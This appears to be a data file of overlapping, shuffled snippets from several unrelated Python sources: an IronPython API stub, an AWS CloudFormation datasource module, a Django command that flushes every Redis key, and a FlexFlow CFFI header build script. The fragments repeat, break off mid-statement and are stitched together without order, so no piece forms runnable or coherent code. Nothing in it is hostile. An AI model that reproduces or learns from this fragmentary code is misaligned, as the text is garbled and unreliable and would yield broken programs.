GeomCombinationSet,item:", "The Contains method returns True if the GeomCombination is within", "IDisposable,exc_type: object,exc_value: object,exc_back: object) \"\"\" pass def __init__(self, *args): \"\"\"", "signature \"\"\" pass def __iter__(self, *args): \"\"\" __iter__(self: IEnumerable) ->", "x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for", "the set. \"\"\" pass def __enter__(self, *args): \"\"\" __enter__(self: IDisposable)" ]
[ "super(CfnOutputsDataSource, self).__init__(data_source) self.data = {i.key: i.value for i in self.stack.outputs}", "= 'cfn_parameters' def __init__(self, data_source): super(CfnParametersDataSource, self).__init__(data_source) self.data = {p.key:", "__init__(self, data_source): super(CfnResourcesDataSource, self).__init__(data_source) self.data = {r.logical_resource_id: r.physical_resource_id for r", "= data_source.split(':', 1) cfn_connection = Cloudformation(region) if not cfn_connection: raise", "from base import DataSourceBase __all__ = ['CfnOutputsDataSource', 'CfnResourcesDataSource', 'CfnParametersDataSource'] class", "for r in self.stack.describe_resources()} class CfnParametersDataSource(CfnDataSourceBase): datasource_name = 'cfn_parameters' def", "def __init__(self, data_source): super(CfnResourcesDataSource, self).__init__(data_source) self.data = {r.logical_resource_id: r.physical_resource_id for", "class CfnResourcesDataSource(CfnDataSourceBase): datasource_name = 'cfn_resources' def __init__(self, data_source): super(CfnResourcesDataSource, self).__init__(data_source)", "data_source: region, stack_name = data_source.split(':', 1) cfn_connection = Cloudformation(region) if", "from rainbow.cloudformation import Cloudformation from base import DataSourceBase __all__ =", "cfn_connection.describe_stack(stack_name) class CfnOutputsDataSource(CfnDataSourceBase): datasource_name = 'cfn_outputs' def __init__(self, data_source): super(CfnOutputsDataSource,", "= 'cfn_outputs' def __init__(self, data_source): super(CfnOutputsDataSource, self).__init__(data_source) self.data = {i.key:", "'CfnResourcesDataSource', 'CfnParametersDataSource'] class CfnDataSourceBase(DataSourceBase): def __init__(self, data_source): super(CfnDataSourceBase, self).__init__(data_source) stack_name", "'CfnParametersDataSource'] class CfnDataSourceBase(DataSourceBase): def __init__(self, data_source): super(CfnDataSourceBase, self).__init__(data_source) stack_name =", "in self.stack.describe_resources()} class CfnParametersDataSource(CfnDataSourceBase): datasource_name = 'cfn_parameters' def __init__(self, data_source):", "self).__init__(data_source) self.data = {r.logical_resource_id: r.physical_resource_id for r in self.stack.describe_resources()} class", "CfnParametersDataSource(CfnDataSourceBase): datasource_name = 'cfn_parameters' def __init__(self, data_source): super(CfnParametersDataSource, self).__init__(data_source) self.data", "r in self.stack.describe_resources()} class CfnParametersDataSource(CfnDataSourceBase): datasource_name = 'cfn_parameters' def __init__(self,", "datasource_name = 'cfn_parameters' def __init__(self, data_source): super(CfnParametersDataSource, self).__init__(data_source) self.data =", "DataSourceBase __all__ = ['CfnOutputsDataSource', 'CfnResourcesDataSource', 'CfnParametersDataSource'] class CfnDataSourceBase(DataSourceBase): def __init__(self,", "= cfn_connection.describe_stack(stack_name) class CfnOutputsDataSource(CfnDataSourceBase): datasource_name = 'cfn_outputs' def __init__(self, data_source):", "= 'cfn_resources' def __init__(self, data_source): super(CfnResourcesDataSource, self).__init__(data_source) self.data = {r.logical_resource_id:", "__init__(self, data_source): super(CfnParametersDataSource, self).__init__(data_source) self.data = {p.key: p.value for p", "def __init__(self, data_source): super(CfnParametersDataSource, self).__init__(data_source) self.data = {p.key: p.value for", "class CfnOutputsDataSource(CfnDataSourceBase): datasource_name = 'cfn_outputs' def __init__(self, data_source): super(CfnOutputsDataSource, self).__init__(data_source)", "import Cloudformation from base import DataSourceBase __all__ = ['CfnOutputsDataSource', 'CfnResourcesDataSource',", "i in self.stack.outputs} class CfnResourcesDataSource(CfnDataSourceBase): datasource_name = 'cfn_resources' def __init__(self,", "':' in data_source: region, stack_name = data_source.split(':', 1) cfn_connection =", "__all__ = ['CfnOutputsDataSource', 'CfnResourcesDataSource', 'CfnParametersDataSource'] class CfnDataSourceBase(DataSourceBase): def __init__(self, data_source):", "Cloudformation(region) if not cfn_connection: raise Exception('Invalid region %r' % (region,))", "self).__init__(data_source) stack_name = data_source region = Cloudformation.default_region if ':' in", "def __init__(self, data_source): super(CfnOutputsDataSource, self).__init__(data_source) self.data = {i.key: i.value for", "= {i.key: i.value for i in self.stack.outputs} class CfnResourcesDataSource(CfnDataSourceBase): datasource_name", "<reponame>omribahumi/rainbow<filename>rainbow/datasources/cfn_datasource.py from rainbow.cloudformation import Cloudformation from base import DataSourceBase __all__", "Exception('Invalid region %r' % (region,)) self.stack = cfn_connection.describe_stack(stack_name) class CfnOutputsDataSource(CfnDataSourceBase):", "not cfn_connection: raise Exception('Invalid region %r' % (region,)) self.stack =", "__init__(self, data_source): super(CfnOutputsDataSource, self).__init__(data_source) self.data = {i.key: i.value for i", "datasource_name = 'cfn_outputs' def __init__(self, data_source): super(CfnOutputsDataSource, self).__init__(data_source) self.data =", "super(CfnParametersDataSource, self).__init__(data_source) self.data = {p.key: p.value for p in self.stack.parameters}", "'cfn_resources' def __init__(self, data_source): super(CfnResourcesDataSource, self).__init__(data_source) self.data = {r.logical_resource_id: r.physical_resource_id", "cfn_connection: raise Exception('Invalid region %r' % (region,)) self.stack = cfn_connection.describe_stack(stack_name)", "self.stack = cfn_connection.describe_stack(stack_name) class CfnOutputsDataSource(CfnDataSourceBase): datasource_name = 'cfn_outputs' def __init__(self,", "CfnDataSourceBase(DataSourceBase): def __init__(self, data_source): super(CfnDataSourceBase, self).__init__(data_source) stack_name = data_source region", "class CfnDataSourceBase(DataSourceBase): def __init__(self, data_source): super(CfnDataSourceBase, self).__init__(data_source) stack_name = data_source", "cfn_connection = Cloudformation(region) if not cfn_connection: raise Exception('Invalid region %r'", "in self.stack.outputs} class CfnResourcesDataSource(CfnDataSourceBase): datasource_name = 'cfn_resources' def __init__(self, data_source):", "Cloudformation from base import DataSourceBase __all__ = ['CfnOutputsDataSource', 'CfnResourcesDataSource', 'CfnParametersDataSource']", "raise Exception('Invalid region %r' % (region,)) self.stack = cfn_connection.describe_stack(stack_name) class", "super(CfnResourcesDataSource, self).__init__(data_source) self.data = {r.logical_resource_id: r.physical_resource_id for r in self.stack.describe_resources()}", "data_source): super(CfnResourcesDataSource, self).__init__(data_source) self.data = {r.logical_resource_id: r.physical_resource_id for r in", "= Cloudformation.default_region if ':' in data_source: region, stack_name = data_source.split(':',", "self.stack.outputs} class CfnResourcesDataSource(CfnDataSourceBase): datasource_name = 'cfn_resources' def __init__(self, data_source): super(CfnResourcesDataSource,", "for i in self.stack.outputs} class CfnResourcesDataSource(CfnDataSourceBase): datasource_name = 'cfn_resources' def", "def __init__(self, data_source): super(CfnDataSourceBase, self).__init__(data_source) stack_name = data_source region =", "(region,)) self.stack = cfn_connection.describe_stack(stack_name) class CfnOutputsDataSource(CfnDataSourceBase): datasource_name = 'cfn_outputs' def", "['CfnOutputsDataSource', 'CfnResourcesDataSource', 'CfnParametersDataSource'] class CfnDataSourceBase(DataSourceBase): def __init__(self, data_source): super(CfnDataSourceBase, self).__init__(data_source)", "= ['CfnOutputsDataSource', 'CfnResourcesDataSource', 'CfnParametersDataSource'] class CfnDataSourceBase(DataSourceBase): def __init__(self, data_source): super(CfnDataSourceBase,", "= Cloudformation(region) if not cfn_connection: raise Exception('Invalid region %r' %", "'cfn_parameters' def __init__(self, data_source): super(CfnParametersDataSource, self).__init__(data_source) self.data = {p.key: p.value", "i.value for i in self.stack.outputs} class CfnResourcesDataSource(CfnDataSourceBase): datasource_name = 'cfn_resources'", "super(CfnDataSourceBase, self).__init__(data_source) stack_name = data_source region = Cloudformation.default_region if ':'", "region %r' % (region,)) self.stack = cfn_connection.describe_stack(stack_name) class CfnOutputsDataSource(CfnDataSourceBase): datasource_name", "data_source.split(':', 1) cfn_connection = Cloudformation(region) if not cfn_connection: raise Exception('Invalid", "datasource_name = 'cfn_resources' def __init__(self, data_source): super(CfnResourcesDataSource, self).__init__(data_source) self.data =", "CfnOutputsDataSource(CfnDataSourceBase): datasource_name = 'cfn_outputs' def __init__(self, data_source): super(CfnOutputsDataSource, self).__init__(data_source) self.data", "data_source): super(CfnOutputsDataSource, self).__init__(data_source) self.data = {i.key: i.value for i in", "self.data = {i.key: i.value for i in self.stack.outputs} class CfnResourcesDataSource(CfnDataSourceBase):", "region = Cloudformation.default_region if ':' in data_source: region, stack_name =", "data_source): super(CfnDataSourceBase, self).__init__(data_source) stack_name = data_source region = Cloudformation.default_region if", "base import DataSourceBase __all__ = ['CfnOutputsDataSource', 'CfnResourcesDataSource', 'CfnParametersDataSource'] class CfnDataSourceBase(DataSourceBase):", "data_source region = Cloudformation.default_region if ':' in data_source: region, stack_name", "Cloudformation.default_region if ':' in data_source: region, stack_name = data_source.split(':', 1)", "{i.key: i.value for i in self.stack.outputs} class CfnResourcesDataSource(CfnDataSourceBase): datasource_name =", "= {r.logical_resource_id: r.physical_resource_id for r in self.stack.describe_resources()} class CfnParametersDataSource(CfnDataSourceBase): datasource_name", "import DataSourceBase __all__ = ['CfnOutputsDataSource', 'CfnResourcesDataSource', 'CfnParametersDataSource'] class CfnDataSourceBase(DataSourceBase): def", "%r' % (region,)) self.stack = cfn_connection.describe_stack(stack_name) class CfnOutputsDataSource(CfnDataSourceBase): datasource_name =", "if ':' in data_source: region, stack_name = data_source.split(':', 1) cfn_connection", "class CfnParametersDataSource(CfnDataSourceBase): datasource_name = 'cfn_parameters' def __init__(self, data_source): super(CfnParametersDataSource, self).__init__(data_source)", "r.physical_resource_id for r in self.stack.describe_resources()} class CfnParametersDataSource(CfnDataSourceBase): datasource_name = 'cfn_parameters'", "stack_name = data_source.split(':', 1) cfn_connection = Cloudformation(region) if not cfn_connection:", "self.stack.describe_resources()} class CfnParametersDataSource(CfnDataSourceBase): datasource_name = 'cfn_parameters' def __init__(self, data_source): super(CfnParametersDataSource,", "rainbow.cloudformation import Cloudformation from base import DataSourceBase __all__ = ['CfnOutputsDataSource',", "stack_name = data_source region = Cloudformation.default_region if ':' in data_source:", "self.data = {r.logical_resource_id: r.physical_resource_id for r in self.stack.describe_resources()} class CfnParametersDataSource(CfnDataSourceBase):", "self).__init__(data_source) self.data = {i.key: i.value for i in self.stack.outputs} class", "region, stack_name = data_source.split(':', 1) cfn_connection = Cloudformation(region) if not", "__init__(self, data_source): super(CfnDataSourceBase, self).__init__(data_source) stack_name = data_source region = Cloudformation.default_region", "{r.logical_resource_id: r.physical_resource_id for r in self.stack.describe_resources()} class CfnParametersDataSource(CfnDataSourceBase): datasource_name =", "data_source): super(CfnParametersDataSource, self).__init__(data_source) self.data = {p.key: p.value for p in", "if not cfn_connection: raise Exception('Invalid region %r' % (region,)) self.stack", "in data_source: region, stack_name = data_source.split(':', 1) cfn_connection = Cloudformation(region)", "= data_source region = Cloudformation.default_region if ':' in data_source: region,", "CfnResourcesDataSource(CfnDataSourceBase): datasource_name = 'cfn_resources' def __init__(self, data_source): super(CfnResourcesDataSource, self).__init__(data_source) self.data", "% (region,)) self.stack = cfn_connection.describe_stack(stack_name) class CfnOutputsDataSource(CfnDataSourceBase): datasource_name = 'cfn_outputs'", "1) cfn_connection = Cloudformation(region) if not cfn_connection: raise Exception('Invalid region", "'cfn_outputs' def __init__(self, data_source): super(CfnOutputsDataSource, self).__init__(data_source) self.data = {i.key: i.value" ]
[ "def handle_noargs(self, **options): r = redis.Redis(host=config['redis']['host'], port=int(config['redis']['port']), password=config['redis']['password']) r.flushall() print", "config from django.core.management.base import NoArgsCommand class Command(NoArgsCommand): help = 'Flushes", "NoArgsCommand class Command(NoArgsCommand): help = 'Flushes all keys in redis.'", "**options): r = redis.Redis(host=config['redis']['host'], port=int(config['redis']['port']), password=config['redis']['password']) r.flushall() print \"All redis", "help = 'Flushes all keys in redis.' def handle_noargs(self, **options):", "class Command(NoArgsCommand): help = 'Flushes all keys in redis.' def", "handle_noargs(self, **options): r = redis.Redis(host=config['redis']['host'], port=int(config['redis']['port']), password=config['redis']['password']) r.flushall() print \"All", "import redis from bundle_config import config from django.core.management.base import NoArgsCommand", "= 'Flushes all keys in redis.' def handle_noargs(self, **options): r", "in redis.' def handle_noargs(self, **options): r = redis.Redis(host=config['redis']['host'], port=int(config['redis']['port']), password=config['redis']['password'])", "keys in redis.' def handle_noargs(self, **options): r = redis.Redis(host=config['redis']['host'], port=int(config['redis']['port']),", "from bundle_config import config from django.core.management.base import NoArgsCommand class Command(NoArgsCommand):", "from django.core.management.base import NoArgsCommand class Command(NoArgsCommand): help = 'Flushes all", "bundle_config import config from django.core.management.base import NoArgsCommand class Command(NoArgsCommand): help", "import NoArgsCommand class Command(NoArgsCommand): help = 'Flushes all keys in", "import config from django.core.management.base import NoArgsCommand class Command(NoArgsCommand): help =", "r = redis.Redis(host=config['redis']['host'], port=int(config['redis']['port']), password=config['redis']['password']) r.flushall() print \"All redis keys", "'Flushes all keys in redis.' def handle_noargs(self, **options): r =", "Command(NoArgsCommand): help = 'Flushes all keys in redis.' def handle_noargs(self,", "redis.' def handle_noargs(self, **options): r = redis.Redis(host=config['redis']['host'], port=int(config['redis']['port']), password=config['redis']['password']) r.flushall()", "= redis.Redis(host=config['redis']['host'], port=int(config['redis']['port']), password=config['redis']['password']) r.flushall() print \"All redis keys flushed.\"", "redis from bundle_config import config from django.core.management.base import NoArgsCommand class", "all keys in redis.' def handle_noargs(self, **options): r = redis.Redis(host=config['redis']['host'],", "django.core.management.base import NoArgsCommand class Command(NoArgsCommand): help = 'Flushes all keys" ]
[ "= try_prefix(ffhome_dir) if result: return result raise Exception('Unable to locate", "Laboratory # # Licensed under the Apache License, Version 2.0", "try_prefix(ffhome_dir) if result: return result raise Exception('Unable to locate flexflow_c.h", "# # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law", "header = subprocess.check_output(['gcc', '-I', flexflow_cxxh_dir, '-E', '-P', flexflow_ch_path]).decode('utf-8') with open(os.path.join(os.path.dirname(os.path.realpath(__file__)),", "def build(output_dir, libname, ffhome_dir): flexflow_cxxh_dir, flexflow_ch_path = find_flexflow_header(ffhome_dir) header =", "parser.add_argument('--ffhome-dir', required=True) parser.add_argument('--libname', required=True) parser.add_argument('--output-dir', required=False) args = parser.parse_args() build(args.output_dir,", "# # Licensed under the Apache License, Version 2.0 (the", "compliance with the License. # You may obtain a copy", "an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF", "2.0 (the \"License\"); # you may not use this file", "agreed to in writing, software # distributed under the License", "file except in compliance with the License. # You may", "on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS", "Unless required by applicable law or agreed to in writing,", "absolute_import, division, print_function, unicode_literals import argparse import os import subprocess", "argparse import os import subprocess def find_flexflow_header(ffhome_dir): def try_prefix(prefix_dir): flexflow_ch_path", "'include', 'model.h') if os.path.exists(flexflow_ch_path) and os.path.exists(flexflow_cxxh_path): flexflow_cxxh_dir = os.path.join(prefix_dir, 'include')", "flexflow_ch_path result = try_prefix(ffhome_dir) if result: return result raise Exception('Unable", "2020 Stanford University, Los Alamos National Laboratory # # Licensed", "distributed under the License is distributed on an \"AS IS\"", "if output_dir is None: output_dir = os.path.dirname(os.path.realpath(__file__)) with open(os.path.join(output_dir, 'flexflow_cffi_header.py'),", "'flexflow_cffi_header.py'), 'wb') as f: f.write(content.encode('utf-8')) if __name__ == \"__main__\": parser", "flexflow_cxxh_dir, '-E', '-P', flexflow_ch_path]).decode('utf-8') with open(os.path.join(os.path.dirname(os.path.realpath(__file__)), 'flexflow_cffi_header.py.in')) as f: content", "print_function, unicode_literals import argparse import os import subprocess def find_flexflow_header(ffhome_dir):", "content = content.format(header=repr(header), libname=repr(libname)) if output_dir is None: output_dir =", "# from __future__ import absolute_import, division, print_function, unicode_literals import argparse", "os.path.exists(flexflow_ch_path) and os.path.exists(flexflow_cxxh_path): flexflow_cxxh_dir = os.path.join(prefix_dir, 'include') return flexflow_cxxh_dir, flexflow_ch_path", "the specific language governing permissions and # limitations under the", "find_flexflow_header(ffhome_dir): def try_prefix(prefix_dir): flexflow_ch_path = os.path.join(prefix_dir, 'python', 'flexflow_c.h') flexflow_cxxh_path =", "'flexflow_cffi_header.py.in')) as f: content = f.read() content = content.format(header=repr(header), libname=repr(libname))", "# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express", "ffhome_dir): flexflow_cxxh_dir, flexflow_ch_path = find_flexflow_header(ffhome_dir) header = subprocess.check_output(['gcc', '-I', flexflow_cxxh_dir,", "express or implied. # See the License for the specific", "applicable law or agreed to in writing, software # distributed", "result: return result raise Exception('Unable to locate flexflow_c.h and flexflow.h", "except in compliance with the License. # You may obtain", "flexflow_cxxh_dir, flexflow_ch_path result = try_prefix(ffhome_dir) if result: return result raise", "of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless", "\"__main__\": parser = argparse.ArgumentParser() parser.add_argument('--ffhome-dir', required=True) parser.add_argument('--libname', required=True) parser.add_argument('--output-dir', required=False)", "Licensed under the Apache License, Version 2.0 (the \"License\"); #", "= os.path.join(prefix_dir, 'include', 'model.h') if os.path.exists(flexflow_ch_path) and os.path.exists(flexflow_cxxh_path): flexflow_cxxh_dir =", "not use this file except in compliance with the License.", "f: f.write(content.encode('utf-8')) if __name__ == \"__main__\": parser = argparse.ArgumentParser() parser.add_argument('--ffhome-dir',", "flexflow_ch_path]).decode('utf-8') with open(os.path.join(os.path.dirname(os.path.realpath(__file__)), 'flexflow_cffi_header.py.in')) as f: content = f.read() content", "permissions and # limitations under the License. # from __future__", "writing, software # distributed under the License is distributed on", "in writing, software # distributed under the License is distributed", "try_prefix(prefix_dir): flexflow_ch_path = os.path.join(prefix_dir, 'python', 'flexflow_c.h') flexflow_cxxh_path = os.path.join(prefix_dir, 'include',", "os.path.exists(flexflow_cxxh_path): flexflow_cxxh_dir = os.path.join(prefix_dir, 'include') return flexflow_cxxh_dir, flexflow_ch_path result =", "you may not use this file except in compliance with", "python # Copyright 2020 Stanford University, Los Alamos National Laboratory", "import subprocess def find_flexflow_header(ffhome_dir): def try_prefix(prefix_dir): flexflow_ch_path = os.path.join(prefix_dir, 'python',", "open(os.path.join(output_dir, 'flexflow_cffi_header.py'), 'wb') as f: f.write(content.encode('utf-8')) if __name__ == \"__main__\":", "file') def build(output_dir, libname, ffhome_dir): flexflow_cxxh_dir, flexflow_ch_path = find_flexflow_header(ffhome_dir) header", "# Licensed under the Apache License, Version 2.0 (the \"License\");", "os.path.join(prefix_dir, 'include') return flexflow_cxxh_dir, flexflow_ch_path result = try_prefix(ffhome_dir) if result:", "raise Exception('Unable to locate flexflow_c.h and flexflow.h header file') def", "as f: content = f.read() content = content.format(header=repr(header), libname=repr(libname)) if", "parser = argparse.ArgumentParser() parser.add_argument('--ffhome-dir', required=True) parser.add_argument('--libname', required=True) parser.add_argument('--output-dir', required=False) args", "os.path.join(prefix_dir, 'include', 'model.h') if os.path.exists(flexflow_ch_path) and os.path.exists(flexflow_cxxh_path): flexflow_cxxh_dir = os.path.join(prefix_dir,", "'-P', flexflow_ch_path]).decode('utf-8') with open(os.path.join(os.path.dirname(os.path.realpath(__file__)), 'flexflow_cffi_header.py.in')) as f: content = f.read()", "argparse.ArgumentParser() parser.add_argument('--ffhome-dir', required=True) parser.add_argument('--libname', required=True) parser.add_argument('--output-dir', required=False) args = parser.parse_args()", "if result: return result raise Exception('Unable to locate flexflow_c.h and", "= f.read() content = content.format(header=repr(header), libname=repr(libname)) if output_dir is None:", "= content.format(header=repr(header), libname=repr(libname)) if output_dir is None: output_dir = os.path.dirname(os.path.realpath(__file__))", "use this file except in compliance with the License. #", "'model.h') if os.path.exists(flexflow_ch_path) and os.path.exists(flexflow_cxxh_path): flexflow_cxxh_dir = os.path.join(prefix_dir, 'include') return", "http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed", "f.write(content.encode('utf-8')) if __name__ == \"__main__\": parser = argparse.ArgumentParser() parser.add_argument('--ffhome-dir', required=True)", "libname=repr(libname)) if output_dir is None: output_dir = os.path.dirname(os.path.realpath(__file__)) with open(os.path.join(output_dir,", "with open(os.path.join(output_dir, 'flexflow_cffi_header.py'), 'wb') as f: f.write(content.encode('utf-8')) if __name__ ==", "CONDITIONS OF ANY KIND, either express or implied. # See", "Los Alamos National Laboratory # # Licensed under the Apache", "# Copyright 2020 Stanford University, Los Alamos National Laboratory #", "result raise Exception('Unable to locate flexflow_c.h and flexflow.h header file')", "the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required", "or implied. # See the License for the specific language", "License is distributed on an \"AS IS\" BASIS, # WITHOUT", "License. # from __future__ import absolute_import, division, print_function, unicode_literals import", "output_dir is None: output_dir = os.path.dirname(os.path.realpath(__file__)) with open(os.path.join(output_dir, 'flexflow_cffi_header.py'), 'wb')", "License. # You may obtain a copy of the License", "is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES", "License, Version 2.0 (the \"License\"); # you may not use", "None: output_dir = os.path.dirname(os.path.realpath(__file__)) with open(os.path.join(output_dir, 'flexflow_cffi_header.py'), 'wb') as f:", "flexflow_cxxh_dir = os.path.join(prefix_dir, 'include') return flexflow_cxxh_dir, flexflow_ch_path result = try_prefix(ffhome_dir)", "# You may obtain a copy of the License at", "KIND, either express or implied. # See the License for", "specific language governing permissions and # limitations under the License.", "under the License is distributed on an \"AS IS\" BASIS,", "copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #", "import argparse import os import subprocess def find_flexflow_header(ffhome_dir): def try_prefix(prefix_dir):", "output_dir = os.path.dirname(os.path.realpath(__file__)) with open(os.path.join(output_dir, 'flexflow_cffi_header.py'), 'wb') as f: f.write(content.encode('utf-8'))", "License for the specific language governing permissions and # limitations", "to locate flexflow_c.h and flexflow.h header file') def build(output_dir, libname,", "and flexflow.h header file') def build(output_dir, libname, ffhome_dir): flexflow_cxxh_dir, flexflow_ch_path", "License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by", "Exception('Unable to locate flexflow_c.h and flexflow.h header file') def build(output_dir,", "Alamos National Laboratory # # Licensed under the Apache License,", "find_flexflow_header(ffhome_dir) header = subprocess.check_output(['gcc', '-I', flexflow_cxxh_dir, '-E', '-P', flexflow_ch_path]).decode('utf-8') with", "the License for the specific language governing permissions and #", "'wb') as f: f.write(content.encode('utf-8')) if __name__ == \"__main__\": parser =", "required=True) parser.add_argument('--libname', required=True) parser.add_argument('--output-dir', required=False) args = parser.parse_args() build(args.output_dir, args.libname,", "if os.path.exists(flexflow_ch_path) and os.path.exists(flexflow_cxxh_path): flexflow_cxxh_dir = os.path.join(prefix_dir, 'include') return flexflow_cxxh_dir,", "(the \"License\"); # you may not use this file except", "and # limitations under the License. # from __future__ import", "from __future__ import absolute_import, division, print_function, unicode_literals import argparse import", "Apache License, Version 2.0 (the \"License\"); # you may not", "import absolute_import, division, print_function, unicode_literals import argparse import os import", "# you may not use this file except in compliance", "either express or implied. # See the License for the", "OR CONDITIONS OF ANY KIND, either express or implied. #", "division, print_function, unicode_literals import argparse import os import subprocess def", "locate flexflow_c.h and flexflow.h header file') def build(output_dir, libname, ffhome_dir):", "# http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or", "flexflow_ch_path = os.path.join(prefix_dir, 'python', 'flexflow_c.h') flexflow_cxxh_path = os.path.join(prefix_dir, 'include', 'model.h')", "with open(os.path.join(os.path.dirname(os.path.realpath(__file__)), 'flexflow_cffi_header.py.in')) as f: content = f.read() content =", "header file') def build(output_dir, libname, ffhome_dir): flexflow_cxxh_dir, flexflow_ch_path = find_flexflow_header(ffhome_dir)", "the License is distributed on an \"AS IS\" BASIS, #", "parser.add_argument('--libname', required=True) parser.add_argument('--output-dir', required=False) args = parser.parse_args() build(args.output_dir, args.libname, args.ffhome_dir)", "os.path.join(prefix_dir, 'python', 'flexflow_c.h') flexflow_cxxh_path = os.path.join(prefix_dir, 'include', 'model.h') if os.path.exists(flexflow_ch_path)", "in compliance with the License. # You may obtain a", "= os.path.join(prefix_dir, 'include') return flexflow_cxxh_dir, flexflow_ch_path result = try_prefix(ffhome_dir) if", "<filename>python/flexflow_cffi_build.py #!/usr/bin/env python # Copyright 2020 Stanford University, Los Alamos", "governing permissions and # limitations under the License. # from", "software # distributed under the License is distributed on an", "flexflow_cxxh_path = os.path.join(prefix_dir, 'include', 'model.h') if os.path.exists(flexflow_ch_path) and os.path.exists(flexflow_cxxh_path): flexflow_cxxh_dir", "= argparse.ArgumentParser() parser.add_argument('--ffhome-dir', required=True) parser.add_argument('--libname', required=True) parser.add_argument('--output-dir', required=False) args =", "Stanford University, Los Alamos National Laboratory # # Licensed under", "unicode_literals import argparse import os import subprocess def find_flexflow_header(ffhome_dir): def", "flexflow_cxxh_dir, flexflow_ch_path = find_flexflow_header(ffhome_dir) header = subprocess.check_output(['gcc', '-I', flexflow_cxxh_dir, '-E',", "limitations under the License. # from __future__ import absolute_import, division,", "libname, ffhome_dir): flexflow_cxxh_dir, flexflow_ch_path = find_flexflow_header(ffhome_dir) header = subprocess.check_output(['gcc', '-I',", "= os.path.dirname(os.path.realpath(__file__)) with open(os.path.join(output_dir, 'flexflow_cffi_header.py'), 'wb') as f: f.write(content.encode('utf-8')) if", "under the License. # from __future__ import absolute_import, division, print_function,", "# # Unless required by applicable law or agreed to", "flexflow.h header file') def build(output_dir, libname, ffhome_dir): flexflow_cxxh_dir, flexflow_ch_path =", "os import subprocess def find_flexflow_header(ffhome_dir): def try_prefix(prefix_dir): flexflow_ch_path = os.path.join(prefix_dir,", "def try_prefix(prefix_dir): flexflow_ch_path = os.path.join(prefix_dir, 'python', 'flexflow_c.h') flexflow_cxxh_path = os.path.join(prefix_dir,", "'-E', '-P', flexflow_ch_path]).decode('utf-8') with open(os.path.join(os.path.dirname(os.path.realpath(__file__)), 'flexflow_cffi_header.py.in')) as f: content =", "a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #", "obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0", "flexflow_ch_path = find_flexflow_header(ffhome_dir) header = subprocess.check_output(['gcc', '-I', flexflow_cxxh_dir, '-E', '-P',", "'python', 'flexflow_c.h') flexflow_cxxh_path = os.path.join(prefix_dir, 'include', 'model.h') if os.path.exists(flexflow_ch_path) and", "__name__ == \"__main__\": parser = argparse.ArgumentParser() parser.add_argument('--ffhome-dir', required=True) parser.add_argument('--libname', required=True)", "__future__ import absolute_import, division, print_function, unicode_literals import argparse import os", "Version 2.0 (the \"License\"); # you may not use this", "law or agreed to in writing, software # distributed under", "= find_flexflow_header(ffhome_dir) header = subprocess.check_output(['gcc', '-I', flexflow_cxxh_dir, '-E', '-P', flexflow_ch_path]).decode('utf-8')", "import os import subprocess def find_flexflow_header(ffhome_dir): def try_prefix(prefix_dir): flexflow_ch_path =", "flexflow_c.h and flexflow.h header file') def build(output_dir, libname, ffhome_dir): flexflow_cxxh_dir,", "build(output_dir, libname, ffhome_dir): flexflow_cxxh_dir, flexflow_ch_path = find_flexflow_header(ffhome_dir) header = subprocess.check_output(['gcc',", "and os.path.exists(flexflow_cxxh_path): flexflow_cxxh_dir = os.path.join(prefix_dir, 'include') return flexflow_cxxh_dir, flexflow_ch_path result", "open(os.path.join(os.path.dirname(os.path.realpath(__file__)), 'flexflow_cffi_header.py.in')) as f: content = f.read() content = content.format(header=repr(header),", "the License. # from __future__ import absolute_import, division, print_function, unicode_literals", "implied. # See the License for the specific language governing", "under the Apache License, Version 2.0 (the \"License\"); # you", "== \"__main__\": parser = argparse.ArgumentParser() parser.add_argument('--ffhome-dir', required=True) parser.add_argument('--libname', required=True) parser.add_argument('--output-dir',", "\"License\"); # you may not use this file except in", "return result raise Exception('Unable to locate flexflow_c.h and flexflow.h header", "distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR", "content.format(header=repr(header), libname=repr(libname)) if output_dir is None: output_dir = os.path.dirname(os.path.realpath(__file__)) with", "os.path.dirname(os.path.realpath(__file__)) with open(os.path.join(output_dir, 'flexflow_cffi_header.py'), 'wb') as f: f.write(content.encode('utf-8')) if __name__", "= os.path.join(prefix_dir, 'python', 'flexflow_c.h') flexflow_cxxh_path = os.path.join(prefix_dir, 'include', 'model.h') if", "as f: f.write(content.encode('utf-8')) if __name__ == \"__main__\": parser = argparse.ArgumentParser()", "University, Los Alamos National Laboratory # # Licensed under the", "'flexflow_c.h') flexflow_cxxh_path = os.path.join(prefix_dir, 'include', 'model.h') if os.path.exists(flexflow_ch_path) and os.path.exists(flexflow_cxxh_path):", "f.read() content = content.format(header=repr(header), libname=repr(libname)) if output_dir is None: output_dir", "by applicable law or agreed to in writing, software #", "# distributed under the License is distributed on an \"AS", "OF ANY KIND, either express or implied. # See the", "WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.", "f: content = f.read() content = content.format(header=repr(header), libname=repr(libname)) if output_dir", "subprocess def find_flexflow_header(ffhome_dir): def try_prefix(prefix_dir): flexflow_ch_path = os.path.join(prefix_dir, 'python', 'flexflow_c.h')", "may obtain a copy of the License at # #", "# Unless required by applicable law or agreed to in", "ANY KIND, either express or implied. # See the License", "See the License for the specific language governing permissions and", "content = f.read() content = content.format(header=repr(header), libname=repr(libname)) if output_dir is", "'-I', flexflow_cxxh_dir, '-E', '-P', flexflow_ch_path]).decode('utf-8') with open(os.path.join(os.path.dirname(os.path.realpath(__file__)), 'flexflow_cffi_header.py.in')) as f:", "= subprocess.check_output(['gcc', '-I', flexflow_cxxh_dir, '-E', '-P', flexflow_ch_path]).decode('utf-8') with open(os.path.join(os.path.dirname(os.path.realpath(__file__)), 'flexflow_cffi_header.py.in'))", "the License. # You may obtain a copy of the", "at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable", "for the specific 